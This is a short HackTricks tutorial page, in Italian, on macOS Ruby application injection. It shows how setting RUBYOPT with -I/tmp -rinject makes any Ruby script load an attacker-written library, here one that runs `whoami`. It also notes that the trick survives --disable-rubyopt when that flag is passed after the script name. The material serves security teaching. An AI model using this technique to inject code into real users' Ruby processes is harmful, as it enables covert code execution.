macOS Ruby Applications Injection

Support HackTricks

RUBYOPT

Utilizzando questa variabile d'ambiente è possibile aggiungere nuovi parametri a ruby ogni volta che viene eseguito. Anche se il parametro -e non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri -I e -r per aggiungere una nuova cartella al percorso delle librerie da caricare e poi specificare una libreria da caricare.

Crea la libreria inject.rb in /tmp:

inject.rb
puts `whoami`

Crea ovunque uno script ruby come:

hello.rb
puts 'Hello, World!'

Quindi fai caricare a uno script ruby arbitrario con:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun fact, funziona anche con il parametro --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Supporta HackTricks

Last updated